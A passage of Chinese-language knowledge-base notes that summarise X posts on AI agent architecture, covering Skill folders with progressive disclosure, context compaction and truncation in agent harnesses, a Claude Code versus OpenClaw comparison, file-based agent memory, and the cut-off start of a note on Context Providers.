"這是一篇定義了 Agent 擴充套件「物理結構」的核心技術文。文章指出，Agent 失控的元兇是過度擁擠的提示詞視窗。解法是「Skill 資料夾架構」：第一層 YAML 描述用於路由，第二層 Markdown 主體提供核心邏輯，第三層 References 作為隨選加載。這套架構讓 Agent 能像人類看標籤挑工具一樣運作，且各團隊能獨立開發 Skill 而不互相干擾。「Skills 對 Agent 的意義，就像 npm 對 JavaScript 的意義。」"
---
tags: [Agent架構, 軟體工程, 開發範式]
date: 2026-04-27
source: "20260512_2026-04-28T092536+0800-Anatomy of Agent SKILLS.md"
---
# Agent Skills 架構解剖學：終結上下文膨脹 (Anatomy of Agent SKILLS)
原始來源與檔名：20260512_2026-04-28T092536+0800-Anatomy of Agent SKILLS.md
來源：[[@Saboo_Shubham_]] / X (Twitter) — 2026-04-27
原始檔名：`2026-04-28T092536+0800-Anatomy of Agent SKILLS.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Context Bloat Death = Stuffing everything into the System Prompt.
> Skill Architecture = Folder -> `SKILL.md` (Trigger Description + Logic) -> `references/` (Loaded on demand).
> Result: Progressive Disclosure. The LLM acts as its own router, loading only what it needs, keeping token cost low and accuracy high.
_為什麼 Agent 在生產環境中經常失敗？不是因為模型不夠聰明，而是因為關鍵指令被淹沒在 20 萬 tokens 的垃圾參考資料中。作者提出「Skills 架構」是解決上下文膨脹的最佳方案。一個 Skill 本質上就是一個資料夾，透過 YAML 定義搜尋索引，並採用「漸進式披露」的三層載入機制（元資料 -> 說明 -> 參考檔案）。這使得 LLM 成為自己的路由器，實現了無成本堆疊組合 (Composition)。_
### 一句話
> 這是一篇定義了 Agent 擴充套件「物理結構」的核心技術文。文章指出，Agent 失控的元兇是過度擁擠的提示詞視窗。解法是「Skill 資料夾架構」：第一層 YAML 描述用於路由，第二層 Markdown 主體提供核心邏輯，第三層 References 作為隨選加載。這套架構讓 Agent 能像人類看標籤挑工具一樣運作，且各團隊能獨立開發 Skill 而不互相干擾。「Skills 對 Agent 的意義，就像 npm 對 JavaScript 的意義。」
### 餐巾紙草圖
```text
[ Progressive Disclosure Loading Tiers ]
L1: Metadata (Always loaded)
YAML Frontmatter: Name + Description (100 tokens, acts as the Search Index/Router)
L2: Instructions (Loaded only on match)
The body of SKILL.md (Core logic, steps)
L3: References (Loaded on demand)
Files in /references, /assets, /scripts (Deep docs, examples, heavy context)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心問題**: Agent 失敗是因為關鍵指令在巨大的上下文視窗中被淹沒（Context Bloat）。
- **什麼是 Skill**: 不是一段 Python class，而是硬碟上的一個資料夾，包含核心的 `SKILL.md`，可選的 `references/`, `assets/`, `scripts/`。它是跨框架兼容的。
- **第一/二行是搜尋索引**: `SKILL.md` 開頭的 YAML（名稱與描述）是 LLM 選擇是否呼叫該 Skill 的依據。寫好描述比寫好內文更重要。
- **漸進式披露 (Progressive Disclosure)**:
- L1 (Metadata): 始終載入（100 tokens）。
- L2 (Instructions): 只有當描述匹配時才載入 `SKILL.md` 內文。
- L3 (References): 只有當 L2 指示需要時，才去讀取外部檔案。
- **LLM 作為路由器**: 不是透過外部的向量檢索 (Vector Retrieval) 來決定呼叫誰，而是 LLM 自己閱讀 L1 的目錄來做出唯一排他性的選擇。
- **解耦組合 (Composition)**: 團隊可以獨立開發各自的 Skills（如資料清洗、品牌語氣），無需合併 Prompt，達成了像 npm 套件管理器一樣的模組化。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **注意力機制的物理限制**: 儘管現代模型號稱有 200k+ 的視窗，但「大海撈針 (Needle in a haystack)」的準確率依然隨著雜訊增加而下降。減少視窗內的無關資訊是提昇準確率最直接的物理手段。
2. **延遲載入 (Lazy Loading) 的經濟學**: 如果把所有工具和規則都塞進 System Prompt，每一次對話都在燒錢。漸進式披露保證了「你只為你當下使用的 Skill 付費」。
3. **沒有向量檢索的優勢**: 傳統 RAG 使用 Embedding 比對相似度，這在尋找「工具」時極易出錯（因為工具描述往往相似但用途迥異）。讓具有完整推理能力的 LLM 自己讀目錄做選擇，準確率遠高於單純的數學向量比對。
### 關鍵證據
- 透過跨團隊協作場景證明：Data 團隊更新了 SQL-runner，Design 團隊更新了 Brand-voice。在 Skills 架構下，雙方只需 Git Push 自己的資料夾，Agent 就能無縫升級，完全不需要一個「系統架構師」去調和兩者在 System Prompt 中的衝突。
### 邊界條件
- 這種依賴 LLM 自行路由的機制，高度依賴於「描述 (Description)」的準確度。如果兩個 Skill 的 YAML 描述寫得過於模糊或重疊（例如：一個叫「處理數據」，一個叫「清理CSV」），LLM 就會選錯。這要求極高的文件寫作紀律。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了《Harness 不是目的，知识才是护城河》中提到的「漸進式披露」策略。也與《MCP vs CLI was the wrong debate》中的「動態引入工具 (Code Mode)」殊途同歸，都是為了解決上下文膨脹。
- **深層洞見**: **"People spend hours on the body and ten seconds on the description, then wonder why their skill never gets used."** 這不僅是 Agent 的問題，也是人類管理的問題。主管寫了一堆 SOP（內文），但沒有明確定義觸發場景（描述），導致員工從來不去查閱。
- **行動呼籲**:
立刻檢查你提供給 AI 的所有工具與 Prompt：
1. 把落落長的範例和參考文件移出主 Prompt，變成單獨的文件。
2. 重寫你所有 Agent Tool/Skill 的 description：不要寫「這是一個資料清洗工具」，要寫「當你需要去除 CSV 空值、去重或標準化欄位格式時，載入此技能」。讓觸發條件極度具體。
Agent架構
Agent 上下文管理四大家族：殊途同歸的工程實踐 (Context Management in Agent Harnesses)
"這是一篇極硬核的 Agent 框架架構級分析文。作者對比了 Pi、OpenClaw、Claude Code、Letta 四套框架的源碼，發現它們都在解決同一個物理限制：上下文不夠用。於是所有框架都收斂到相似的防禦機制：讀檔時先截斷並要求模型翻頁；工具輸出過大時卸載到磁碟只留預覽；對話過長時呼叫 LLM 進行摘要壓縮（Compaction）並確保不切斷工具呼叫邊界。最好的上下文管理，是讓 Agent 感覺記憶無限，但框架在底層精準調度。"
---
tags: [Agent架構, 軟體工程, 底層原理]
date: 2026-04-28
source: "20260512_2026-04-28T092549+0800-Agent 框架的上下文管理：四种实现，殊途同归.md"
---
# Agent 上下文管理四大家族：殊途同歸的工程實踐 (Context Management in Agent Harnesses)
原始來源與檔名：20260512_2026-04-28T092549+0800-Agent 框架的上下文管理：四种实现，殊途同归.md
來源：[[@verysmallwoods]] / X (Twitter) — 2026-04-28
原始檔名：`2026-04-28T092549+0800-Agent 框架的上下文管理：四种实现，殊途同归.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent Context Management =
> File Truncation (Hard limits + Offset/Limit) +
> Session Compaction (LLM Summarization at 80% capacity) +
> Out-of-Context Persistence (Large outputs pushed to disk, leaving 2KB stubs) +
> Sub-agent Isolation (Blank slates or strictly filtered whitelists).
_當 Agent 運行時間拉長，200K 的 Context 視窗也一定會被塞爆。本文從源碼層面拆解了 Pi, OpenClaw, Claude Code, Letta 四大框架的上下文管理策略。最驚人的發現是：它們在面對「大文件讀取」、「超長會話壓縮」與「子代理隔離」這三個問題時，獨立演化出了幾乎一模一樣的解法。Agent 框架的終極使命，不是把所有東西都丟給模型，而是像作業系統的記憶體管理（分頁、Swap）一樣，主動在幕後調度狀態。_
### 一句話
> 這是一篇極硬核的 Agent 框架架構級分析文。作者對比了 Pi、OpenClaw、Claude Code、Letta 四套框架的源碼，發現它們都在解決同一個物理限制：上下文不夠用。於是所有框架都收斂到相似的防禦機制：讀檔時先截斷並要求模型翻頁；工具輸出過大時卸載到磁碟只留預覽；對話過長時呼叫 LLM 進行摘要壓縮（Compaction）並確保不切斷工具呼叫邊界。最好的上下文管理，是讓 Agent 感覺記憶無限，但框架在底層精準調度。
### 餐巾紙草圖
```text
[ The Universal Agent Context Playbook ]
1. File Reading:
[>256KB?] -> Reject -> Suggest `grep` or `limit/offset`.
[<256KB?] -> Read -> Truncate at 2000 lines -> Prompt model to fetch next page.
2. Heavy Tool Outputs (e.g., massive JSON/Grep):
Save full output to disk -> Inject 2KB preview into context window.
3. Session Compaction (When Context > 80%):
Keep recent 20k tokens + Drop older turns -> Feed to LLM for Summary -> Inject Summary as a "User Message".
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心命題**: 上下文不再是模型被動接收的緩衝區，而是框架必須主動管理的「工作集 (Working Set)」。
- **場景一：大文件讀取**:
- 框架不相信模型能自己處理巨量字節。
- Pi / OpenClaw 採用硬上限截斷 (2000 行 / 50KB) 並附加提示詞教模型如何翻頁。
- Claude Code 採用雙層防禦（字節級拒絕 + Token 級截斷），並有文件去重機制。
- Letta 則是記憶體先行，強制向量化，上下文只放一小段，鼓勵模型用檢索工具。
- **場景二：會話裁剪 (Compaction)**:
- 四個框架都採用「Token 閾值觸發」的 LLM 摘要壓縮機制。
- 保留最近的歷史，把舊的歷史餵給 LLM 做摘要，然後把摘要當作新的 User Message 插入。
- **工具呼叫安全**: 壓縮時必須沿著 Tool-call / Tool-result 的邊界切割，否則會破壞 API 結構。
- **查詢前優化**: Claude Code 會將超過 50,000 字元的工具輸出直接存入磁碟，上下文中只留 2KB 預覽。
- **場景三：子代理 (Sub-agents) 隔離**:
- 四個框架都沒有把父會話的完整歷史丟給子 Agent。子 Agent 都是從空白會話開始，或者只拿到嚴格過濾的白名單（如 `AGENTS.md`, 技能等），實現權限與上下文的隔離。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **無限上下文的錯覺**: 就算模型支援百萬 Token，填滿它的成本與延遲也是災難性的。因此，所有生產級 Agent 都必須回到 1970 年代作業系統的設計老路：虛擬記憶體與分頁機制 (Paging & Swap)。
2. **防禦性設計 (Defensive Design)**: AI 的行為是不可測的，框架必須「假設 AI 會做蠢事」（例如一口氣讀取 10MB 的 Log 檔）。因此在工具調用前 (Stat 檢查)、調用中 (字節截斷)、調用後 (Token 壓縮)，都必須設置攔截閘門。
3. **框架的終極收斂**: Pi 和 Letta 的出發點不同，Claude Code 是寫碼的，Alyx 是看數據的。但當工程師們遇到 OOM (Out of Memory) 或 API 拒絕時，他們最終寫出來的防護邏輯竟然驚人地一致。這證明了「Agent 框架」這個軟體分類的底層抽象已經成熟。
### 關鍵證據
- 具體參數的收斂：保留 Token 數通常在 15,000~20,000 之間；壓縮觸發點通常在上下文的 50%~90% 之間；大檔案預設讀取行數被限制在 2000 行。
### 邊界條件
- 這種依賴 LLM 做 Compaction 的機制，會導致每次觸發壓縮時，產生一筆額外的 Token 消耗（用於讓 LLM 讀舊歷史寫摘要）。如果閾值設得太低，Agent 會頻繁壓縮，導致成本失控與「摘要遺失細節」。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 強烈呼應了《Context providers the missing layer》以及《How to correctly use MCP servers》。這三篇文章都在解決同一件事：**「上下文污染 (Context Bloat)」是 Agent 死亡的唯一原因。**
- **深層洞見**: **"最好的内存管理，是程序压根不去想它的那种。" (The best memory management is the kind the program never has to think about.)** 開發者寫 prompt 時不該去擔心 token 是否超標，這是底層框架（Harness）該處理的髒活。Agent OS 正在誕生。
- **行動呼籲**:
如果你在自己刻 Agent 腳本，請立刻補上這兩行邏輯：
1. 對所有 API 返回的文本（特別是網頁抓取或 `grep`），強制執行 `substring(0, 4000)` 的長度截斷，並在結尾加上 `...[Truncated]`。
2. 永遠不要把完整的工具輸出丟給下一個 Agent，只傳遞「總結後的結論」。
Agent架構
Agent 雙城記：Claude Code 與 OpenClaw 框架工程對比 (Agent Harness Engineering: Claude Code vs. OpenClaw)
"這是一篇探討 Agent 框架工程 (Harness Engineering) 的大師級文章。作者從架構、驅動循環、工具、指令、上下文管理、記憶系統、權限、擴展性、持久化 9 個維度，深度對比了 Claude Code 與 OpenClaw。Claude Code 面向開發者，採用單線程深度 ReAct 循環與空間導向（按目錄加載）的規則；OpenClaw 面向普通消費者，採用事件驅動、多通道隔離與「漸進式人格學習」的混合記憶系統。兩者的差異完美詮釋了「場景決定架構」的軟體工程真理。"
---
tags: [Agent架構, 系統工程, 比較分析]
date: 2026-04-26
source: "20260512_2026-04-28T092622+0800-通过分析 Claude Code 和 OpenClaw Harness工程方法的实践.md"
---
# Agent 雙城記：Claude Code 與 OpenClaw 框架工程對比 (Agent Harness Engineering: Claude Code vs. OpenClaw)
原始來源與檔名：20260512_2026-04-28T092622+0800-通过分析 Claude Code 和 OpenClaw Harness工程方法的实践.md
來源：[[@PandaTalk8]] / X (Twitter) — 2026-04-26
原始檔名：`2026-04-28T092622+0800-通过分析 Claude Code 和 OpenClaw Harness工程方法的实践.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent = Model + Harness (框架/工程腳手架)
> Claude Code (For Devs) = Deep ReAct Loop + Spatial Context (.claude/rules) + Hard Sub-agent Isolation.
> OpenClaw (For Consumers) = Event-driven Loop + Identity Context (Agents) + Cross-channel Memory (Semantic Logs).
_這是一篇極度硬核的架構拆解文。作者從 9 個維度對比了當前最火的兩個 Agent 框架：Claude Code (終端機裡的工程師助手) 與 OpenClaw (聊天軟體裡的數字員工)。核心結論是：在 2026 年，讓 Agent 變聰明的關鍵已經不在大模型本身，而在於「Harness 工程」。Claude Code 選擇了縱深防禦與精準控制；而 OpenClaw 選擇了橫向擴展與漸進式記憶。引擎再強，沒有方向盤和煞車 (Harness)，你哪也去不了。_
### 一句話
> 這是一篇探討 Agent 框架工程 (Harness Engineering) 的大師級文章。作者從架構、驅動循環、工具、指令、上下文管理、記憶系統、權限、擴展性、持久化 9 個維度，深度對比了 Claude Code 與 OpenClaw。Claude Code 面向開發者，採用單線程深度 ReAct 循環與空間導向（按目錄加載）的規則；OpenClaw 面向普通消費者，採用事件驅動、多通道隔離與「漸進式人格學習」的混合記憶系統。兩者的差異完美詮釋了「場景決定架構」的軟體工程真理。
### 餐巾紙草圖
```text
[ Architecture Divergence ]
Claude Code (Vertical) OpenClaw (Horizontal)
User: Single (Developer) Users: Multiple (Consumers)
Interface: CLI Terminal Interface: 20+ Chat Apps (Telegram, Slack)
Loop: ReAct (Deep thinking) Loop: Event-driven (CRON, Messages)
Rules: Tied to File Paths Rules: Tied to Agent Identity
Memory: Manual/Explicit (JSONL) Memory: Auto-extracted + Semantic Search
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心概念**: Agent = Model + Harness。Harness 包含了模型之外的一切（提示詞注入、記憶管理、工具路由）。
- **架構與循環**:
- Claude Code: 分層堆疊，單線程深度 ReAct 循環（為了解決複雜的寫扣任務）。
- OpenClaw: 管道式架構，多線程事件驅動（處理多個通訊軟體的併發訊息，支援 CRON 自動觸發）。
- **指令與配置 (教 Agent 你是誰)**:
- Claude Code (空間導向): 根據你進入的資料夾動態載入規則（如進入 `src/api` 就載入 API 規則）。
- OpenClaw (身份導向): 根據你呼叫的 Agent 角色載入對應的人設。
- **記憶系統 (差異最大)**:
- Claude Code: 結構化、人類可讀、可編輯的 `MEMORY.md`。記憶是透明的。
- OpenClaw: 雙層架構。底層是全量不可變的 JSONL 歷史，上層是 AI 自主提煉的摘要，外加語義檢索。具備「漸進式人格學習」能力（用越久越像你）。
- **安全權限**:
- Claude Code: 防禦「Agent 做蠢事」（如 `rm -rf`），透過 PreToolUse Hook 攔截。
- OpenClaw: 防禦「未授權用戶控制 Agent」，透過通道與身份隔離。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **場景決定架構 (Form Follows Function)**: Claude Code 的目標受眾是工程師，工程師需要的是「精確、可控、不出錯」，所以它採用了嚴格的子代理隔離與硬性目錄權限；OpenClaw 的受眾是普通人，普通人需要的是「懂我、24小時在線、幫我處理雜事」，所以它採用了跨通道記憶共享與定時觸發機制。
2. **純文字優於複雜資料庫**: 兩者在記憶儲存上，都不約而同地放棄了龐大的向量資料庫或關聯式資料庫，而選擇了 Markdown + JSONL 檔案。這證明了在 Agent 開發的早期階段，人類可讀性、Git 友善度與系統簡潔性遠比「專業儲存架構」更重要。
3. **記憶會腐敗**: 兩個系統都在工程上承認了 AI 會產生幻覺。Claude Code 的對策是「引用前驗證 (Verify before use)」，OpenClaw 是「持續提煉覆蓋」。這印證了 Agent 框架必須具備自我糾錯機制。
### 關鍵證據
- 具體的指令注入機制對比：Claude Code 的 `.claude/rules/` 目錄支援 YAML frontmatter 進行路徑匹配（Path matching），這是標準的工程師邏輯；而 OpenClaw 使用 `sandbox.scope` 決定對話隔離粒度，這是標準的 SaaS 多租戶邏輯。
### 邊界條件
- OpenClaw 的多線程與自動 CRON 觸發，在多用戶高併發場景下極易遭遇「上下文竄線（身份綁定失效）」的問題。這是橫向擴展架構必須克服的安全痛點，而單機運行的 Claude Code 則無此煩惱。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了《Claude Code、OpenClaw、Hermes》中提到的「Agent 生態分化」（Claude 是專家，OpenClaw 是大管家）；也詳細展開了《Agent 框架的上下文管理》中的底層實作細節。
- **深層洞見**: **"模型是引擎，Harness 是整辆车。引擎再强，没有方向盘、刹车和导航，你哪儿也去不了。" (The model is the engine, the Harness is the car. Without steering and brakes, a powerful engine gets you nowhere.)** 這解釋了為什麼 2026 年的 AI 戰爭已經從「誰的模型參數多」轉移到了「誰的框架更懂工作流」。
- **行動呼籲**:
無論你是用 Dify, Coze 還是自己寫 Python Agent，請借鏡這兩大框架的智慧：
1. 放棄把所有提示詞寫在一個大框框裡，改用**路徑匹配**或**角色綁定**來動態載入。
2. 建立一個不可變的 JSONL Audit Log（稽核日誌），這是你未來讓 Agent 產生「記憶提煉」的唯一金礦。
Agent架構
Claude Managed Agents 的記憶機制：檔案系統就是最好的記憶體 (Memory in Claude Managed Agents)
"這是一篇探討 AI Agent 記憶底層架構的技術文章。作者透露 Claude Managed Agents 的記憶系統實際上是基於標準的檔案系統。在過去（如 Sonnet 3.5 時代），模型會把記憶當作流水帳來寫；但到了 Opus 4.6 時代，模型已經能自主建立目錄結構，精煉出高價值的經驗法則（例如玩寶可夢時的具體攻略）。因此，與其為 Agent 設計複雜的專用記憶工具，不如直接給它通用檔案工具，讓智慧模型自己學會管理上下文。"
---
tags: [Agent架構, 系統工程, 底層原理]
date: 2026-04-25
source: "20260512_2026-04-28T092703+0800-Memory in Claude Managed Agents.md"
---
# Claude Managed Agents 的記憶機制：檔案系統就是最好的記憶體 (Memory in Claude Managed Agents)
原始來源與檔名：20260512_2026-04-28T092703+0800-Memory in Claude Managed Agents.md
來源：[[@RLanceMartin]] / X (Twitter) — 2026-04-25
原始檔名：`2026-04-28T092703+0800-Memory in Claude Managed Agents.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Old Agent Memory = Complex cognitive architecture + Specialized vector DBs.
> New Agent Memory (Claude) = Standard Filesystem Tools (Read, Write, mkdir).
> Claude 3.5 Sonnet -> Writes bad transcripts.
> Claude 4.6 Opus -> Autonomously creates directories, stores exact knowledge rules, self-corrects.
_Anthropic 在 Claude Managed Agents 中引入了跨對話的「記憶」功能，但令人意外的是，他們沒有使用花俏的向量資料庫或複雜的認知框架（如 MemGPT），而是直接給予 Agent 一個掛載在系統上的標準資料夾 (`/mnt/memory/`)。實測證明，隨著大語言模型變聰明（如 Opus 4.6），它們完全有能力利用標準的檔案管理工具，自己學會歸類、整理、並萃取出高品質的長期記憶。檔案系統，就是最優雅的 Agent 記憶體。_
### 一句話
> 這是一篇探討 AI Agent 記憶底層架構的技術文章。作者透露 Claude Managed Agents 的記憶系統實際上是基於標準的檔案系統。在過去（如 Sonnet 3.5 時代），模型會把記憶當作流水帳來寫；但到了 Opus 4.6 時代，模型已經能自主建立目錄結構，精煉出高價值的經驗法則（例如玩寶可夢時的具體攻略）。因此，與其為 Agent 設計複雜的專用記憶工具，不如直接給它通用檔案工具，讓智慧模型自己學會管理上下文。
### 餐巾紙草圖
```text
[ The Evolution of Agent Memory ]
Past (MemGPT, CoALA era):
LLM -> Complex Memory APIs -> Core Memory / Archival Memory / DB
Present (Claude Managed Agents):
LLM -> Standard File Tools (write_file, mkdir) -> /mnt/memory/<store-name>/
* Opus 4.6 organizes its own folders and writes distilled learnings.
* Memories are human-readable (.md files).
* Memories sync concurrently across multiple agents.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **新功能發布**: Claude Managed Agents 現在支援跨會話的「記憶」。記憶以檔案形式儲存，且可透過 API 匯出。
- **一個有趣的對比 (玩寶可夢實驗)**:
- **Sonnet 3.5**: 給予檔案讀寫權限後，它把記憶當成對話記錄（流水帳），記下了一堆 NPC 的廢話，14,000 步後卡關。
- **Opus 4.6**: 同樣的步驟，它主動把記憶歸類到不同的資料夾，甚至寫出了一個提煉過的 `learnings.md`，包含了精確的打怪策略和系統限制。
- **設計哲學的轉變**: 過去學界（如 MemGPT, CoALA）試圖用認知科學原理為 Agent 打造專用的複雜記憶管理工具。現在的趨勢是：只要模型夠聰明，直接給它「通用的檔案管理工具」，它就能自己管好記憶。
- **Claude Managed Agents 的實作**:
- 將 Memory Stores 作為目錄掛載到 `/mnt/memory/<store-name>/`。
- 在 System Prompt 中注入提示，告訴 Agent 這個目錄的存在。
- 支援多 Agent 並發讀寫與即時同步。
- 檔案具有高度可解釋性，人類可以直接下載、閱讀、分享。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **智慧湧現解決了工程痛點**: 早期需要向量資料庫 (Vector DB) 和複雜 Retriever 框架，是因為模型不夠聰明，無法自己判斷「什麼該記、該怎麼存」。當 Opus 4.6 展現出自主提煉歸納能力後，工程架構就可以大幅簡化，回歸最古老也最可靠的作業系統基礎：檔案系統 (Filesystem)。
2. **檔案系統的絕對優勢 (可解釋性)**: 將記憶儲存為 Markdown 或 JSON 檔案，意味著這些記憶是透明的 (Transparent) 且可審查的 (Auditable)。人類開發者可以隨時打開資料夾看 Agent 到底學到了什麼，這比檢查一堆 Embedding 向量值要直觀一萬倍。
### 關鍵證據
- 寶可夢實驗的具體 log 對比：3.5 版的記憶是無用的（"Caterpie does not have poison"），而 4.6 版的記憶是戰術級的（"Bellsprout Sleep+Wrap combo: KO FAST with BITE... Toss unneeded TMs"）。
- Letta AI 的獨立測試也證明：檔案系統的表現超越了特製的記憶工具。
### 邊界條件
- 這種極簡的「檔案系統記憶法」高度依賴於底層大模型的能力。如果你使用的是較弱的開源模型或 GPT-3.5 級別的模型，它們極有可能會把記憶資料夾弄得一團糟，這時你還是需要 MemGPT 式的防呆護欄。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了《通过分析 Claude Code 和 OpenClaw Harness工程方法的实践》中提到的：**"纯文件方案优于数据库方案。文件是人类可读的... 在 Agent 工程的早期阶段，简洁性比专业性重要得多。"** 兩者不謀而合地證明了 AI 架構正在回歸 Unix 哲學 (Everything is a file)。
- **深層洞見**: **"Give Claude general tools to manage its own context... Claude can learn to use general tools to solve problems, like memory, with scaling intelligence."** 不要替高智商的 AI 打造拐杖，給它瑞士刀，它會自己發明出解決方案。這就是 Agent-First 的設計思維。
- **行動呼籲**:
如果你在設計 Agent 產品，請拋棄「導入向量資料庫」的執念。先試著給你的 Agent 提供一套讀寫純文字 Markdown 檔案的工具，教它在結束任務時寫一份 `learnings.md`，你會驚訝於它的自我進化能力。
Agent架構
Context Management in Agent Harnesses: The Original English Analysis
"This is a foundational architectural analysis of how modern Agent Harnesses manage the "Context Window" bottleneck. By examining Pi, OpenClaw, Claude Code, and Letta, the author reveals a convergent engineering evolution: frameworks no longer trust models to handle massive data dumps. Instead, they employ proactive defenses—byte-level file caps, pagination nudges, off-context disk storage for large JSONs, and LLM-powered conversation compaction that respects tool-call boundaries. The ultimate goal is to give the agent the right "working set" at the right time."
---
tags: [Agent架構, 底層原理, 系統工程]
date: 2026-04-27
source: "20260512_2026-04-28T092639+0800-Context Management in Agent Harnesses.md"
---
# Context Management in Agent Harnesses: The Original English Analysis
原始來源與檔名：20260512_2026-04-28T092639+0800-Context Management in Agent Harnesses.md
來源：[[@aparnadhinak]] (Arize AI 創辦人) / X (Twitter) — 2026-04-27
原始檔名：`2026-04-28T092639+0800-Context Management in Agent Harnesses.md`
*(Note: This is the original English source text for the previously processed Chinese translation article "Agent 框架的上下文管理：四种实现，殊途同归" (Article 114). The cognitive compression below focuses on the original English nuances.)*
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> The Agent Context Wall = Infinite Logs / Finite Token Window.
> Harness Strategy =
> 1. Pre-read Defense (Stat caps, Truncation)
> 2. Paged Outputs (Use offset/limit)
> 3. LLM Compaction (Summarize at 80% threshold, preserve tool pairs)
> 4. Ephemeral Sub-agents (Blank slates or strictly scoped contexts).
_As agents run longer, they inevitably hit the context wall. This deep dive by Arize AI’s founder compares how Pi, OpenClaw, Claude Code, and Letta tackle context management. The fascinating conclusion is that despite different design philosophies, they all converge on the same playbook: actively managing the context like an operating system manages memory, instead of blindly dumping everything into the LLM prompt. The harness must truncate, compress, and paginate to maintain the illusion of infinite memory._
### 一句話
> This is a foundational architectural analysis of how modern Agent Harnesses manage the "Context Window" bottleneck. By examining Pi, OpenClaw, Claude Code, and Letta, the author reveals a convergent engineering evolution: frameworks no longer trust models to handle massive data dumps. Instead, they employ proactive defenses—byte-level file caps, pagination nudges, off-context disk storage for large JSONs, and LLM-powered conversation compaction that respects tool-call boundaries. The ultimate goal is to give the agent the right "working set" at the right time.
### 餐巾紙草圖
```text
[ Context Management Convergence ]
Reading Files:
[ 10MB File ] -> Harness intercepts -> Returns 2000 lines -> Adds: "Use offset=2001 to continue"
Session Pruning (Compaction):
[ Conversation > 160K tokens ] -> Harness triggers background LLM
-> Summarizes old history
-> Prepends Summary as a Synthetic User Message
-> Restores recent 5 files.
Sub-Agents:
Main Session --(Spawns)--> Sub-Agent (Receives ONLY the specific task prompt, NO full history).
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **The Core Problem**: The context window is too small for long-running agents. The harness (the framework around the model) must actively manage what stays, what is compressed, and what is discarded.
- **Handling Large Files**:
- **Pi / OpenClaw**: Hard cap at 2,000 lines / 50KB, head-truncation, and appends a nudge to use `offset/limit`.
- **Claude Code**: Two-layer defense. A pre-read 256KB byte cap (rejects immediately) and a post-read 25K token gate. Tunable via feature flags.
- **Letta**: Letta caps lines but uses a persistent `MemFS` (git-backed memory filesystem), pushing the agent to manage its own memory hierarchy.
- **Session Pruning (Compaction)**:
- All frameworks use LLM-powered summarization triggered by token thresholds.
- They preserve the most recent tokens, summarize the older ones, and inject the summary back into the context.
- Crucially, they enforce **Tool-call safety**: compaction algorithms carefully walk the transcript to avoid cutting between a tool-call and its result.
- Claude Code goes further with **Pre-query optimization**: persisting oversized tool results (like huge grep outputs) to disk and leaving only a 2KB stub in the prompt.
- **Sub-agent Isolation**:
- Sub-agents are NOT given the full parent conversation history. They are launched as fresh, headless instances with strict tool allowlists to maintain focus and security.
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **The Fallacy of Infinite Context**: Even with models boasting 1M+ token windows, dumping everything into the prompt causes degradation in reasoning ("needle in a haystack" problem) and skyrockets costs/latency. Therefore, proactive truncation and compaction are physically necessary.
2. **Defensive Engineering**: AI models are unpredictable. They might try to read a 5GB log file. The harness must act as a firewall—intercepting stat calls, capping lines, and dynamically rewriting tool outputs to protect the system from crashing (OOM).
3. **Convergent Evolution**: Pi (consumer chat), Claude Code (developer CLI), and Alyx (data exploration) were built for entirely different domains. Yet, when faced with context limits, their engineers independently invented the exact same mechanisms (e.g., deduplicating idempotent tool calls, summarizing state before pruning). This proves these patterns are fundamental laws of Agentic OS design.
### 關鍵證據
- Code-level parity: The author points out that Letta explicitly notes in its source code: "Limits based on Claude Code's proven production values," showing how these best practices are standardizing across the industry.
### 邊界條件
- The LLM compaction strategy relies heavily on the summarizer model being highly competent. If the summarization step loses critical nuances (e.g., a specific file path or a past error message), the agent will repeatedly fail when trying to retrieve that lost information.
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: This original English piece perfectly aligns with the concepts in 《Anatomy of Agent SKILLS》 (Progressive Disclosure) and 《Context providers the missing layer》 (hiding tool complexity). They all point to a future where the Agent Harness acts exactly like a traditional Operating System.
- **深層洞見**: **"50 years of computing taught us that the best memory management is the kind the program never thinks about... The goal is not to show the model everything. It is to give it the right working set at the right time."** The evolution of AI agents is mirroring the evolution of computer science: from raw memory access to sophisticated virtual memory, paging, and garbage collection.
- **行動呼籲**:
If you are building custom agents, implement "Pre-query Optimization" today:
Whenever a tool (like a DB query or web scrape) returns more than 10,000 characters, save the full payload to a local temp file, and return ONLY a 1,000-character preview to the LLM along with the file path. Your agent will instantly become cheaper and smarter.
Agent架構
Context Providers：拯救 Agent 上下文污染的遺失層 (Context Providers: The Missing Layer)
"這是一篇解決 Agent 工具過載與幻覺的關鍵架構文。現代 Agent 架構常常把幾十個 API 工具直接丟給主模型，導致嚴重的上下文污染與作用域衝突（例如 Slack 的 search 和 Drive 的 search 搞混）。解法是引入「Context Providers」封裝層：用一個專門的子代理接管 Slack 的所有底層工具，並只向主代理暴露兩個極簡介面：自然語言查詢（讀）與自然語言指令（寫）。這種「去中心化工具路由」讓主代理的智商瞬間回血。"
---
tags: [Agent架構, 軟體工程, 系統整合]
date: 2026-04-28
source: "20260512_2026-04-28T092611+0800-Context providers the missing layer between agents and tools.md"
---
# Context Providers：拯救 Agent 上下文污染的遺失層 (Context Providers: The Missing Layer)
